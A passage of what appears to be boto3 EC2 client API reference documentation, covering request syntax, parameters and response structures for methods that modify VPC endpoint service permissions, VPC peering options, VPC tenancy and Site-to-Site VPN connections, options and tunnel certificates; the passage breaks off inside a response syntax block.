otherwise, it returns an error. + + +modify_vpc_endpoint_service_permissions(kwargs_) + +Modifies the permissions for your [VPC endpoint service](https://docs.aws.amazon.com/vpc/latest/userguide/endpoint-service.html) . You can add or remove permissions for service consumers (IAM users, IAM roles, and AWS accounts) to connect to your endpoint service. + +If you grant permissions to all principals, the service is public. Any users who know the name of a public service can send a request to attach an endpoint. If the service does not require manual approval, attachments are automatically approved. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyVpcEndpointServicePermissions) + +**Request Syntax** + +response = client.modify_vpc_endpoint_service_permissions( + DryRun=True|False, + ServiceId='string', + AddAllowedPrincipals=[ + 'string', + ], + RemoveAllowedPrincipals=[ + 'string', + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ServiceId** (_string_) -- + + **[REQUIRED]** + + The ID of the service. + +* **AddAllowedPrincipals** (_list_) -- + + The Amazon Resource Names (ARN) of one or more principals. Permissions are granted to the principals in this list. To grant permissions to all principals, specify an asterisk (*). + + * _(string) --_ +* **RemoveAllowedPrincipals** (_list_) -- + + The Amazon Resource Names (ARN) of one or more principals. Permissions are revoked for principals in this list. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ReturnValue': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **ReturnValue** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +modify_vpc_peering_connection_options(kwargs_) + +Modifies the VPC peering connection options on one side of a VPC peering connection. You can do the following: + +* Enable/disable communication over the peering connection between an EC2-Classic instance that's linked to your VPC (using ClassicLink) and instances in the peer VPC. +* Enable/disable communication over the peering connection between instances in your VPC and an EC2-Classic instance that's linked to the peer VPC. +* Enable/disable the ability to resolve public DNS hostnames to private IP addresses when queried from instances in the peer VPC. + +If the peered VPCs are in the same AWS account, you can enable DNS resolution for queries from the local VPC. This ensures that queries from the local VPC resolve to private IP addresses in the peer VPC. This option is not available if the peered VPCs are in different AWS accounts or different Regions. For peered VPCs in different AWS accounts, each AWS account owner must initiate a separate request to modify the peering connection options. For inter-region peering connections, you must use the Region for the requester VPC to modify the requester VPC peering options and the Region for the accepter VPC to modify the accepter VPC peering options. To verify which VPCs are the accepter and the requester for a VPC peering connection, use the DescribeVpcPeeringConnections command. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyVpcPeeringConnectionOptions) + +**Request Syntax** + +response = client.modify_vpc_peering_connection_options( + AccepterPeeringConnectionOptions={ + 'AllowDnsResolutionFromRemoteVpc': True|False, + 'AllowEgressFromLocalClassicLinkToRemoteVpc': True|False, + 'AllowEgressFromLocalVpcToRemoteClassicLink': True|False + }, + DryRun=True|False, + RequesterPeeringConnectionOptions={ + 'AllowDnsResolutionFromRemoteVpc': True|False, + 'AllowEgressFromLocalClassicLinkToRemoteVpc': True|False, + 'AllowEgressFromLocalVpcToRemoteClassicLink': True|False + }, + VpcPeeringConnectionId='string' +) + +Parameters + +* **AccepterPeeringConnectionOptions** (_dict_) -- + + The VPC peering connection options for the accepter VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + If true, enables a local VPC to resolve public DNS hostnames to private IP addresses when queried from instances in the peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + If true, enables outbound communication from an EC2-Classic instance that's linked to a local VPC using ClassicLink to instances in a peer VPC. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + If true, enables outbound communication from instances in a local VPC to an EC2-Classic instance that's linked to a peer VPC using ClassicLink. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **RequesterPeeringConnectionOptions** (_dict_) -- + + The VPC peering connection options for the requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + If true, enables a local VPC to resolve public DNS hostnames to private IP addresses when queried from instances in the peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + If true, enables outbound communication from an EC2-Classic instance that's linked to a local VPC using ClassicLink to instances in a peer VPC. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + If true, enables outbound communication from instances in a local VPC to an EC2-Classic instance that's linked to a peer VPC using ClassicLink. + +* **VpcPeeringConnectionId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC peering connection. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AccepterPeeringConnectionOptions': { + 'AllowDnsResolutionFromRemoteVpc': True|False, + 'AllowEgressFromLocalClassicLinkToRemoteVpc': True|False, + 'AllowEgressFromLocalVpcToRemoteClassicLink': True|False + }, + 'RequesterPeeringConnectionOptions': { + 'AllowDnsResolutionFromRemoteVpc': True|False, + 'AllowEgressFromLocalClassicLinkToRemoteVpc': True|False, + 'AllowEgressFromLocalVpcToRemoteClassicLink': True|False + } +} + +**Response Structure** + +* _(dict) --_ + + * **AccepterPeeringConnectionOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + If true, the public DNS hostnames of instances in the specified VPC resolve to private IP addresses when queried from instances in the peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + If true, enables outbound communication from an EC2-Classic instance that's linked to a local VPC using ClassicLink to instances in a peer VPC. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + If true, enables outbound communication from instances in a local VPC to an EC2-Classic instance that's linked to a peer VPC using ClassicLink. + + * **RequesterPeeringConnectionOptions** _(dict) --_ + + Information about the VPC peering connection options for the requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + If true, the public DNS hostnames of instances in the specified VPC resolve to private IP addresses when queried from instances in the peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + If true, enables outbound communication from an EC2-Classic instance that's linked to a local VPC using ClassicLink to instances in a peer VPC. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + If true, enables outbound communication from instances in a local VPC to an EC2-Classic instance that's linked to a peer VPC using ClassicLink. + + +modify_vpc_tenancy(kwargs_) + +Modifies the instance tenancy attribute of the specified VPC. You can change the instance tenancy attribute of a VPC to default only. You cannot change the instance tenancy attribute to dedicated . + +After you modify the tenancy of the VPC, any new instances that you launch into the VPC have a tenancy of default , unless you specify otherwise during launch. The tenancy of any existing instances in the VPC is not affected. + +For more information, see [Dedicated Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/dedicated-instance.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyVpcTenancy) + +**Request Syntax** + +response = client.modify_vpc_tenancy( + VpcId='string', + InstanceTenancy='default', + DryRun=True|False +) + +Parameters + +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + +* **InstanceTenancy** (_string_) -- + + **[REQUIRED]** + + The instance tenancy attribute for the VPC. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ReturnValue': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **ReturnValue** _(boolean) --_ + + Returns true if the request succeeds; otherwise, returns an error. + + +modify_vpn_connection(kwargs_) + +Modifies the customer gateway or the target gateway of an AWS Site-to-Site VPN connection. To modify the target gateway, the following migration options are available: + +* An existing virtual private gateway to a new virtual private gateway +* An existing virtual private gateway to a transit gateway +* An existing transit gateway to a new transit gateway +* An existing transit gateway to a virtual private gateway + +Before you perform the migration to the new gateway, you must configure the new gateway. Use CreateVpnGateway to create a virtual private gateway, or CreateTransitGateway to create a transit gateway. + +This step is required when you migrate from a virtual private gateway with static routes to a transit gateway. + +You must delete the static routes before you migrate to the new gateway. + +Keep a copy of the static route before you delete it. You will need to add back these routes to the transit gateway after the VPN connection migration is complete. + +After you migrate to the new gateway, you might need to modify your VPC route table. Use CreateRoute and DeleteRoute to make the changes described in [VPN Gateway Target Modification Required VPC Route Table Updates](https://docs.aws.amazon.com/vpn/latest/s2svpn/modify-vpn-target.html#step-update-routing) in the _AWS Site-to-Site VPN User Guide_ . + +When the new gateway is a transit gateway, modify the transit gateway route table to allow traffic between the VPC and the AWS Site-to-Site VPN connection. Use CreateTransitGatewayRoute to add the routes. + +If you deleted VPN static routes, you must add the static routes to the transit gateway route table. + +After you perform this operation, the AWS VPN endpoint's IP addresses on the AWS side and the tunnel options remain intact. Your AWS Site-to-Site VPN connection will be temporarily unavailable for a brief period while we provision the new endpoints. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyVpnConnection) + +**Request Syntax** + +response = client.modify_vpn_connection( + VpnConnectionId='string', + TransitGatewayId='string', + CustomerGatewayId='string', + VpnGatewayId='string', + DryRun=True|False +) + +Parameters + +* **VpnConnectionId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPN connection. + +* **TransitGatewayId** (_string_) -- The ID of the transit gateway. +* **CustomerGatewayId** (_string_) -- The ID of the customer gateway at your end of the VPN connection. +* **VpnGatewayId** (_string_) -- The ID of the virtual private gateway at the AWS side of the VPN connection. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpnConnection': { + 'CustomerGatewayConfiguration': 'string', + 'CustomerGatewayId': 'string', + 'Category': 'string', + 'State': 'pending'|'available'|'deleting'|'deleted', + 'Type': 'ipsec.1', + 'VpnConnectionId': 'string', + 'VpnGatewayId': 'string', + 'TransitGatewayId': 'string', + 'Options': { + 'EnableAcceleration': True|False, + 'StaticRoutesOnly': True|False, + 'LocalIpv4NetworkCidr': 'string', + 'RemoteIpv4NetworkCidr': 'string', + 'LocalIpv6NetworkCidr': 'string', + 'RemoteIpv6NetworkCidr': 'string', + 'TunnelInsideIpVersion': 'ipv4'|'ipv6', + 'TunnelOptions': [ + { + 'OutsideIpAddress': 'string', + 'TunnelInsideCidr': 'string', + 'TunnelInsideIpv6Cidr': 'string', + 'PreSharedKey': 'string', + 'Phase1LifetimeSeconds': 123, + 'Phase2LifetimeSeconds': 123, + 'RekeyMarginTimeSeconds': 123, + 'RekeyFuzzPercentage': 123, + 'ReplayWindowSize': 123, + 'DpdTimeoutSeconds': 123, + 'DpdTimeoutAction': 'string', + 'Phase1EncryptionAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase2EncryptionAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase1IntegrityAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase2IntegrityAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase1DHGroupNumbers': [ + { + 'Value': 123 + }, + ], + 'Phase2DHGroupNumbers': [ + { + 'Value': 123 + }, + ], + 'IkeVersions': [ + { + 'Value': 'string' + }, + ], + 'StartupAction': 'string' + }, + ] + }, + 'Routes': [ + { + 'DestinationCidrBlock': 'string', + 'Source': 'Static', + 'State': 'pending'|'available'|'deleting'|'deleted' + }, + ], + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VgwTelemetry': [ + { + 'AcceptedRouteCount': 123, + 'LastStatusChange': datetime(2015, 1, 1), + 'OutsideIpAddress': 'string', + 'Status': 'UP'|'DOWN', + 'StatusMessage': 'string', + 'CertificateArn': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **VpnConnection** _(dict) --_ + + Describes a VPN connection. + + * **CustomerGatewayConfiguration** _(string) --_ + + The configuration information for the VPN connection's customer gateway (in the native XML format). This element is always present in the CreateVpnConnection response; however, it's present in the DescribeVpnConnections response only if the VPN connection is in the pending or available state. + + * **CustomerGatewayId** _(string) --_ + + The ID of the customer gateway at your end of the VPN connection. + + * **Category** _(string) --_ + + The category of the VPN connection. A value of VPN indicates an AWS VPN connection. A value of VPN-Classic indicates an AWS Classic VPN connection. + + * **State** _(string) --_ + + The current state of the VPN connection. + + * **Type** _(string) --_ + + The type of VPN connection. + + * **VpnConnectionId** _(string) --_ + + The ID of the VPN connection. + + * **VpnGatewayId** _(string) --_ + + The ID of the virtual private gateway at the AWS side of the VPN connection. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway associated with the VPN connection. + + * **Options** _(dict) --_ + + The VPN connection options. + + * **EnableAcceleration** _(boolean) --_ + + Indicates whether acceleration is enabled for the VPN connection. + + * **StaticRoutesOnly** _(boolean) --_ + + Indicates whether the VPN connection uses static routes only. Static routes must be used for devices that don't support BGP. + + * **LocalIpv4NetworkCidr** _(string) --_ + + The IPv4 CIDR on the customer gateway (on-premises) side of the VPN connection. + + * **RemoteIpv4NetworkCidr** _(string) --_ + + The IPv4 CIDR on the AWS side of the VPN connection. + + * **LocalIpv6NetworkCidr** _(string) --_ + + The IPv6 CIDR on the customer gateway (on-premises) side of the VPN connection. + + * **RemoteIpv6NetworkCidr** _(string) --_ + + The IPv6 CIDR on the AWS side of the VPN connection. + + * **TunnelInsideIpVersion** _(string) --_ + + Indicates whether the VPN tunnels process IPv4 or IPv6 traffic. + + * **TunnelOptions** _(list) --_ + + Indicates the VPN tunnel options. + + * _(dict) --_ + + The VPN tunnel options. + + * **OutsideIpAddress** _(string) --_ + + The external IP address of the VPN tunnel. + + * **TunnelInsideCidr** _(string) --_ + + The range of inside IPv4 addresses for the tunnel. + + * **TunnelInsideIpv6Cidr** _(string) --_ + + The range of inside IPv6 addresses for the tunnel. + + * **PreSharedKey** _(string) --_ + + The pre-shared key (PSK) to establish initial authentication between the virtual private gateway and the customer gateway. + + * **Phase1LifetimeSeconds** _(integer) --_ + + The lifetime for phase 1 of the IKE negotiation, in seconds. + + * **Phase2LifetimeSeconds** _(integer) --_ + + The lifetime for phase 2 of the IKE negotiation, in seconds. + + * **RekeyMarginTimeSeconds** _(integer) --_ + + The margin time, in seconds, before the phase 2 lifetime expires, during which the AWS side of the VPN connection performs an IKE rekey. + + * **RekeyFuzzPercentage** _(integer) --_ + + The percentage of the rekey window determined by RekeyMarginTimeSeconds during which the rekey time is randomly selected. + + * **ReplayWindowSize** _(integer) --_ + + The number of packets in an IKE replay window. + + * **DpdTimeoutSeconds** _(integer) --_ + + The number of seconds after which a DPD timeout occurs. + + * **DpdTimeoutAction** _(string) --_ + + The action to take after a DPD timeout occurs. + + * **Phase1EncryptionAlgorithms** _(list) --_ + + The permitted encryption algorithms for the VPN tunnel for phase 1 IKE negotiations. + + * _(dict) --_ + + The encryption algorithm for phase 1 IKE negotiations. + + * **Value** _(string) --_ + + The value for the encryption algorithm. + + * **Phase2EncryptionAlgorithms** _(list) --_ + + The permitted encryption algorithms for the VPN tunnel for phase 2 IKE negotiations. + + * _(dict) --_ + + The encryption algorithm for phase 2 IKE negotiations. + + * **Value** _(string) --_ + + The encryption algorithm. + + * **Phase1IntegrityAlgorithms** _(list) --_ + + The permitted integrity algorithms for the VPN tunnel for phase 1 IKE negotiations. + + * _(dict) --_ + + The integrity algorithm for phase 1 IKE negotiations. + + * **Value** _(string) --_ + + The value for the integrity algorithm. + + * **Phase2IntegrityAlgorithms** _(list) --_ + + The permitted integrity algorithms for the VPN tunnel for phase 2 IKE negotiations. + + * _(dict) --_ + + The integrity algorithm for phase 2 IKE negotiations. + + * **Value** _(string) --_ + + The integrity algorithm. + + * **Phase1DHGroupNumbers** _(list) --_ + + The permitted Diffie-Hellman group numbers for the VPN tunnel for phase 1 IKE negotiations. + + * _(dict) --_ + + The Diffie-Hellmann group number for phase 1 IKE negotiations. + + * **Value** _(integer) --_ + + The Diffie-Hellmann group number. + + * **Phase2DHGroupNumbers** _(list) --_ + + The permitted Diffie-Hellman group numbers for the VPN tunnel for phase 2 IKE negotiations. + + * _(dict) --_ + + The Diffie-Hellmann group number for phase 2 IKE negotiations. + + * **Value** _(integer) --_ + + The Diffie-Hellmann group number. + + * **IkeVersions** _(list) --_ + + The IKE versions that are permitted for the VPN tunnel. + + * _(dict) --_ + + The internet key exchange (IKE) version permitted for the VPN tunnel. + + * **Value** _(string) --_ + + The IKE version. + + * **StartupAction** _(string) --_ + + The action to take when the establishing the VPN tunnels for a VPN connection. + + * **Routes** _(list) --_ + + The static routes associated with the VPN connection. + + * _(dict) --_ + + Describes a static route for a VPN connection. + + * **DestinationCidrBlock** _(string) --_ + + The CIDR block associated with the local subnet of the customer data center. + + * **Source** _(string) --_ + + Indicates how the routes were provided. + + * **State** _(string) --_ + + The current state of the static route. + + * **Tags** _(list) --_ + + Any tags assigned to the VPN connection. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VgwTelemetry** _(list) --_ + + Information about the VPN tunnel. + + * _(dict) --_ + + Describes telemetry for a VPN tunnel. + + * **AcceptedRouteCount** _(integer) --_ + + The number of accepted routes. + + * **LastStatusChange** _(datetime) --_ + + The date and time of the last change in status. + + * **OutsideIpAddress** _(string) --_ + + The Internet-routable IP address of the virtual private gateway's outside interface. + + * **Status** _(string) --_ + + The status of the VPN tunnel. + + * **StatusMessage** _(string) --_ + + If an error occurs, a description of the error. + + * **CertificateArn** _(string) --_ + + The Amazon Resource Name (ARN) of the VPN tunnel endpoint certificate. + + +modify_vpn_connection_options(kwargs_) + +Modifies the connection options for your Site-to-Site VPN connection. + +When you modify the VPN connection options, the VPN endpoint IP addresses on the AWS side do not change, and the tunnel options do not change. Your VPN connection will be temporarily unavailable for a brief period while the VPN connection is updated. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyVpnConnectionOptions) + +**Request Syntax** + +response = client.modify_vpn_connection_options( + VpnConnectionId='string', + LocalIpv4NetworkCidr='string', + RemoteIpv4NetworkCidr='string', + LocalIpv6NetworkCidr='string', + RemoteIpv6NetworkCidr='string', + DryRun=True|False +) + +Parameters + +* **VpnConnectionId** (_string_) -- + + **[REQUIRED]** + + The ID of the Site-to-Site VPN connection. + +* **LocalIpv4NetworkCidr** (_string_) -- + + The IPv4 CIDR on the customer gateway (on-premises) side of the VPN connection. + + Default: 0.0.0.0/0 + +* **RemoteIpv4NetworkCidr** (_string_) -- + + The IPv4 CIDR on the AWS side of the VPN connection. + + Default: 0.0.0.0/0 + +* **LocalIpv6NetworkCidr** (_string_) -- + + The IPv6 CIDR on the customer gateway (on-premises) side of the VPN connection. + + Default: ::/0 + +* **RemoteIpv6NetworkCidr** (_string_) -- + + The IPv6 CIDR on the AWS side of the VPN connection. + + Default: ::/0 + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpnConnection': { + 'CustomerGatewayConfiguration': 'string', + 'CustomerGatewayId': 'string', + 'Category': 'string', + 'State': 'pending'|'available'|'deleting'|'deleted', + 'Type': 'ipsec.1', + 'VpnConnectionId': 'string', + 'VpnGatewayId': 'string', + 'TransitGatewayId': 'string', + 'Options': { + 'EnableAcceleration': True|False, + 'StaticRoutesOnly': True|False, + 'LocalIpv4NetworkCidr': 'string', + 'RemoteIpv4NetworkCidr': 'string', + 'LocalIpv6NetworkCidr': 'string', + 'RemoteIpv6NetworkCidr': 'string', + 'TunnelInsideIpVersion': 'ipv4'|'ipv6', + 'TunnelOptions': [ + { + 'OutsideIpAddress': 'string', + 'TunnelInsideCidr': 'string', + 'TunnelInsideIpv6Cidr': 'string', + 'PreSharedKey': 'string', + 'Phase1LifetimeSeconds': 123, + 'Phase2LifetimeSeconds': 123, + 'RekeyMarginTimeSeconds': 123, + 'RekeyFuzzPercentage': 123, + 'ReplayWindowSize': 123, + 'DpdTimeoutSeconds': 123, + 'DpdTimeoutAction': 'string', + 'Phase1EncryptionAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase2EncryptionAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase1IntegrityAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase2IntegrityAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase1DHGroupNumbers': [ + { + 'Value': 123 + }, + ], + 'Phase2DHGroupNumbers': [ + { + 'Value': 123 + }, + ], + 'IkeVersions': [ + { + 'Value': 'string' + }, + ], + 'StartupAction': 'string' + }, + ] + }, + 'Routes': [ + { + 'DestinationCidrBlock': 'string', + 'Source': 'Static', + 'State': 'pending'|'available'|'deleting'|'deleted' + }, + ], + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VgwTelemetry': [ + { + 'AcceptedRouteCount': 123, + 'LastStatusChange': datetime(2015, 1, 1), + 'OutsideIpAddress': 'string', + 'Status': 'UP'|'DOWN', + 'StatusMessage': 'string', + 'CertificateArn': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **VpnConnection** _(dict) --_ + + Describes a VPN connection. + + * **CustomerGatewayConfiguration** _(string) --_ + + The configuration information for the VPN connection's customer gateway (in the native XML format). This element is always present in the CreateVpnConnection response; however, it's present in the DescribeVpnConnections response only if the VPN connection is in the pending or available state. + + * **CustomerGatewayId** _(string) --_ + + The ID of the customer gateway at your end of the VPN connection. + + * **Category** _(string) --_ + + The category of the VPN connection. A value of VPN indicates an AWS VPN connection. A value of VPN-Classic indicates an AWS Classic VPN connection. + + * **State** _(string) --_ + + The current state of the VPN connection. + + * **Type** _(string) --_ + + The type of VPN connection. + + * **VpnConnectionId** _(string) --_ + + The ID of the VPN connection. + + * **VpnGatewayId** _(string) --_ + + The ID of the virtual private gateway at the AWS side of the VPN connection. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway associated with the VPN connection. + + * **Options** _(dict) --_ + + The VPN connection options. + + * **EnableAcceleration** _(boolean) --_ + + Indicates whether acceleration is enabled for the VPN connection. + + * **StaticRoutesOnly** _(boolean) --_ + + Indicates whether the VPN connection uses static routes only. Static routes must be used for devices that don't support BGP. + + * **LocalIpv4NetworkCidr** _(string) --_ + + The IPv4 CIDR on the customer gateway (on-premises) side of the VPN connection. + + * **RemoteIpv4NetworkCidr** _(string) --_ + + The IPv4 CIDR on the AWS side of the VPN connection. + + * **LocalIpv6NetworkCidr** _(string) --_ + + The IPv6 CIDR on the customer gateway (on-premises) side of the VPN connection. + + * **RemoteIpv6NetworkCidr** _(string) --_ + + The IPv6 CIDR on the AWS side of the VPN connection. + + * **TunnelInsideIpVersion** _(string) --_ + + Indicates whether the VPN tunnels process IPv4 or IPv6 traffic. + + * **TunnelOptions** _(list) --_ + + Indicates the VPN tunnel options. + + * _(dict) --_ + + The VPN tunnel options. + + * **OutsideIpAddress** _(string) --_ + + The external IP address of the VPN tunnel. + + * **TunnelInsideCidr** _(string) --_ + + The range of inside IPv4 addresses for the tunnel. + + * **TunnelInsideIpv6Cidr** _(string) --_ + + The range of inside IPv6 addresses for the tunnel. + + * **PreSharedKey** _(string) --_ + + The pre-shared key (PSK) to establish initial authentication between the virtual private gateway and the customer gateway. + + * **Phase1LifetimeSeconds** _(integer) --_ + + The lifetime for phase 1 of the IKE negotiation, in seconds. + + * **Phase2LifetimeSeconds** _(integer) --_ + + The lifetime for phase 2 of the IKE negotiation, in seconds. + + * **RekeyMarginTimeSeconds** _(integer) --_ + + The margin time, in seconds, before the phase 2 lifetime expires, during which the AWS side of the VPN connection performs an IKE rekey. + + * **RekeyFuzzPercentage** _(integer) --_ + + The percentage of the rekey window determined by RekeyMarginTimeSeconds during which the rekey time is randomly selected. + + * **ReplayWindowSize** _(integer) --_ + + The number of packets in an IKE replay window. + + * **DpdTimeoutSeconds** _(integer) --_ + + The number of seconds after which a DPD timeout occurs. + + * **DpdTimeoutAction** _(string) --_ + + The action to take after a DPD timeout occurs. + + * **Phase1EncryptionAlgorithms** _(list) --_ + + The permitted encryption algorithms for the VPN tunnel for phase 1 IKE negotiations. + + * _(dict) --_ + + The encryption algorithm for phase 1 IKE negotiations. + + * **Value** _(string) --_ + + The value for the encryption algorithm. + + * **Phase2EncryptionAlgorithms** _(list) --_ + + The permitted encryption algorithms for the VPN tunnel for phase 2 IKE negotiations. + + * _(dict) --_ + + The encryption algorithm for phase 2 IKE negotiations. + + * **Value** _(string) --_ + + The encryption algorithm. + + * **Phase1IntegrityAlgorithms** _(list) --_ + + The permitted integrity algorithms for the VPN tunnel for phase 1 IKE negotiations. + + * _(dict) --_ + + The integrity algorithm for phase 1 IKE negotiations. + + * **Value** _(string) --_ + + The value for the integrity algorithm. + + * **Phase2IntegrityAlgorithms** _(list) --_ + + The permitted integrity algorithms for the VPN tunnel for phase 2 IKE negotiations. + + * _(dict) --_ + + The integrity algorithm for phase 2 IKE negotiations. + + * **Value** _(string) --_ + + The integrity algorithm. + + * **Phase1DHGroupNumbers** _(list) --_ + + The permitted Diffie-Hellman group numbers for the VPN tunnel for phase 1 IKE negotiations. + + * _(dict) --_ + + The Diffie-Hellmann group number for phase 1 IKE negotiations. + + * **Value** _(integer) --_ + + The Diffie-Hellmann group number. + + * **Phase2DHGroupNumbers** _(list) --_ + + The permitted Diffie-Hellman group numbers for the VPN tunnel for phase 2 IKE negotiations. + + * _(dict) --_ + + The Diffie-Hellmann group number for phase 2 IKE negotiations. + + * **Value** _(integer) --_ + + The Diffie-Hellmann group number. + + * **IkeVersions** _(list) --_ + + The IKE versions that are permitted for the VPN tunnel. + + * _(dict) --_ + + The internet key exchange (IKE) version permitted for the VPN tunnel. + + * **Value** _(string) --_ + + The IKE version. + + * **StartupAction** _(string) --_ + + The action to take when the establishing the VPN tunnels for a VPN connection. + + * **Routes** _(list) --_ + + The static routes associated with the VPN connection. + + * _(dict) --_ + + Describes a static route for a VPN connection. + + * **DestinationCidrBlock** _(string) --_ + + The CIDR block associated with the local subnet of the customer data center. + + * **Source** _(string) --_ + + Indicates how the routes were provided. + + * **State** _(string) --_ + + The current state of the static route. + + * **Tags** _(list) --_ + + Any tags assigned to the VPN connection. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VgwTelemetry** _(list) --_ + + Information about the VPN tunnel. + + * _(dict) --_ + + Describes telemetry for a VPN tunnel. + + * **AcceptedRouteCount** _(integer) --_ + + The number of accepted routes. + + * **LastStatusChange** _(datetime) --_ + + The date and time of the last change in status. + + * **OutsideIpAddress** _(string) --_ + + The Internet-routable IP address of the virtual private gateway's outside interface. + + * **Status** _(string) --_ + + The status of the VPN tunnel. + + * **StatusMessage** _(string) --_ + + If an error occurs, a description of the error. + + * **CertificateArn** _(string) --_ + + The Amazon Resource Name (ARN) of the VPN tunnel endpoint certificate. + + +modify_vpn_tunnel_certificate(kwargs_) + +Modifies the VPN tunnel endpoint certificate. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyVpnTunnelCertificate) + +**Request Syntax** + +response = client.modify_vpn_tunnel_certificate( + VpnConnectionId='string', + VpnTunnelOutsideIpAddress='string', + DryRun=True|False +) + +Parameters + +* **VpnConnectionId** (_string_) -- + + **[REQUIRED]** + + The ID of the AWS Site-to-Site VPN connection. + +* **VpnTunnelOutsideIpAddress** (_string_) -- + + **[REQUIRED]** + + The external IP address of the VPN tunnel. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpnConnection': { + 'CustomerGatewayConfiguration': 'string', + 'CustomerGatewayId': 'string', + 'Category': 'string', + 'State': 'pending'|'available'|'deleting'|'deleted', + 'Type': 'ipsec.1', + 'VpnConnectionId': 'string', + 'VpnGatewayId': 'string', + 'TransitGatewayId': 'string', + 'Options': { + 'EnableAcceleration': True|False, + 'StaticRoutesOnly': True|False, + 'LocalIpv4NetworkCidr': 'string', + 'RemoteIpv4NetworkCidr': 'string', + 'LocalIpv6NetworkCidr': 'string', + 'RemoteIpv6NetworkCidr': 'string', + 'TunnelInsideIpVersion': 'ipv4'|'ipv6', + 'TunnelOptions': [ + { + 'OutsideIpAddress': 'string', + 'TunnelInsideCidr': 'string', + 'TunnelInsideIpv6Cidr': 'string', + 'PreSharedKey': 'string', + 'Phase1LifetimeSeconds': 123, + 'Phase2LifetimeSeconds': 123, + 'RekeyMarginTimeSeconds': 123, + 'RekeyFuzzPercentage': 123, + 'ReplayWindowSize': 123, + 'DpdTimeoutSeconds': 123, + 'DpdTimeoutAction': 'string', + 'Phase1EncryptionAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase2EncryptionAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase1IntegrityAlgorithms': [ + { + 'Value': 'string' + }, + ], + 'Phase2IntegrityAlgorithms': [ + { + 